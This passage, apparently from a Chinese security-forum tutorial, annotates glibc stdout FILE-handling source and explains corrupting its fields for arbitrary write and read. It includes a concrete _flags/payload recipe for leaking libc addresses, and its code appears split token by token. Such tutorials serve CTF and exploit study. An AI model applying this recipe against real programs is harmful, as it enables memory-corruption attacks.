_IO_size_t count
=
0
;
if
(n <
=
0
)
return
0
;
if
((f
-
>_flags & _IO_LINE_BUF) && (f
-
>_flags & _IO_CURRENTLY_PUTTING))
{
/
/
如果是行缓冲模式...
count
=
f
-
>_IO_buf_end
-
f
-
>_IO_write_ptr;
/
/
判断输出缓冲区还有多少空间
if
(count >
=
n)
{
const char
*
p;
for
(p
=
s
+
n; p > s; )
{
if
(
*
-
-
p
=
=
'\n'
)
/
/
最后一个换行符\n为截断符,且需要刷新输出缓冲区
{
count
=
p
-
s
+
1
;
must_flush
=
1
;
/
/
标志为真:需要刷新输出缓冲区
break
;
}
}
}
}
else
if
(f
-
>_IO_write_end > f
-
>_IO_write_ptr)
/
/
判断输出缓冲区还有多少空间(全缓冲模式)
count
=
f
-
>_IO_write_end
-
f
-
>_IO_write_ptr;
if
(count >
0
)
{
/
/
如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if
(count > to_do)
count
=
to_do;
f
-
>_IO_write_ptr
=
__mempcpy (f
-
>_IO_write_ptr, s, count);
s
+
=
count;
to_do
-
=
count;
}
if
(to_do
+
must_flush >
0
)
/
/
此处关键,见下文详细讨论
{
_IO_size_t block_size, do_write;
if
(_IO_OVERFLOW (f, EOF)
=
=
EOF)
/
/
调用_IO_OVERFLOW
return
to_do
=
=
0
? EOF : n
-
to_do;
block_size
=
f
-
>_IO_buf_end
-
f
-
>_IO_buf_base;
do_write
=
to_do
-
(block_size >
=
128
? to_do
%
block_size :
0
);
if
(do_write)
{
count
=
new_do_write (f, s, do_write);
to_do
-
=
count;
if
(count < do_write)
return
n
-
to_do;
}
if
(to_do)
to_do
-
=
_IO_default_xsputn (f, s
+
do_write, to_do);
}
return
n
-
to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
(1)任意写 可以看到,在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr
,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr
,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr
控制,向_IO_write_ptr
拷贝count
长度的数据),因此可通过这一点来实现任意地址写的功能。利用方式 :以全缓冲模式为例,只需将_IO_write_ptr
指向write_start
,_IO_write_end
指向write_end
即可。 这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200
,此处flag & _IO_LINE_BUF
为真,则表示flag
中包含了_IO_LINE_BUF
标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)
开启),若要构造flag
包含_IO_LINE_BUF
标识,则flag |= 0x200
即可。 (2)任意读 先讨论_IO_new_file_xsputn
源代码中if (to_do + must_flush > 0)
有哪些情况会执行该分支中的内容: (a) 首先要明确的是to_do
一定是非负数,因此若must_flush
为1
的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n
换行符的时候就会需要刷新输出缓冲区,即将must_flush
设为1
,故当输出内容中有\n
的时候就会执行该分支的内容,如用puts
函数输出就一定会执行。 (b) 若to_do
大于0
,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if
分支中的内容。 而该if
分支中主要调用了_IO_OVERFLOW()
来刷新输出缓冲区,而在此过程中会调用_IO_do_write()
输出我们想要的数据。 相关源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
_IO_new_file_overflow (_IO_FILE
*
f,
int
ch)
{
/
/
判断标志位是否包含_IO_NO_WRITES
=
> _flags需要不包含_IO_NO_WRITES
if
(f
-
>_flags & _IO_NO_WRITES)
{
f
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
/
/
为了不执行该
if
分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if
((f
-
>_flags & _IO_CURRENTLY_PUTTING)
=
=
0
|| f
-
>_IO_write_base
=
=
NULL)
{
...
}
/
/
调用_IO_do_write 输出 输出缓冲区
/
/
从_IO_write_base开始,输出(_IO_write_ptr
-
f
-
>_IO_write_base)个字节的数据
if
(ch
=
=
EOF)
return
_IO_do_write (f, f
-
>_IO_write_base,
f
-
>_IO_write_ptr
-
f
-
>_IO_write_base);
return
(unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static _IO_size_t new_do_write (_IO_FILE
*
fp, const char
*
data, _IO_size_t to_do)
{
...
_IO_size_t count;
/
/
为了不执行
else
if
分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if
(fp
-
>_flags & _IO_IS_APPENDING)
fp
-
>_offset
=
_IO_pos_BAD;
else
if
(fp
-
>_IO_read_end !
=
fp
-
>_IO_write_base)
{
_IO_off64_t new_pos
=
_IO_SYSSEEK (fp, fp
-
>_IO_write_base
-
fp
-
>_IO_read_end,
1
);
if
(new_pos
=
=
_IO_pos_BAD)
return
0
;
fp
-
>_offset
=
new_pos;
}
/
/
调用函数输出输出缓冲区
count
=
_IO_SYSWRITE (fp, data, to_do);
...
return
count;
}
综上,为了做到任意读 ,满足如下条件,即可进行利用: (1) 设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
; (2) 设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
; (3) 设置_fileno
为1
; (4) 设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址; (5) 设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。 此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。 一般来说,经常利用puts
函数加上述stdout
任意读的方式泄露libc
。_flag
的构造需满足的条件:
1
2
3
4
_flags
=
0xfbad0000
_flags &
=
~_IO_NO_WRITES
/
/
_flags
=
0xfbad0000
_flags |
=
_IO_CURRENTLY_PUTTING
/
/
_flags
=
0xfbad0800
_flags |
=
_IO_IS_APPENDING
/
/
_flags
=
0xfbad1800
因此,例如在libc-2.27
下,构造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58'
,泄露出的第一个地址即为_IO_file_jumps
的地址。 此外,_flags
也可再加一些其他无关紧要的部分,如设置为0xfbad1887
,0xfbad1880
,0xfbad3887
等等。
global_max_fast的相关利用 (house of corrosion)
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2022-9-4 13:19
被winmt编辑
,原因: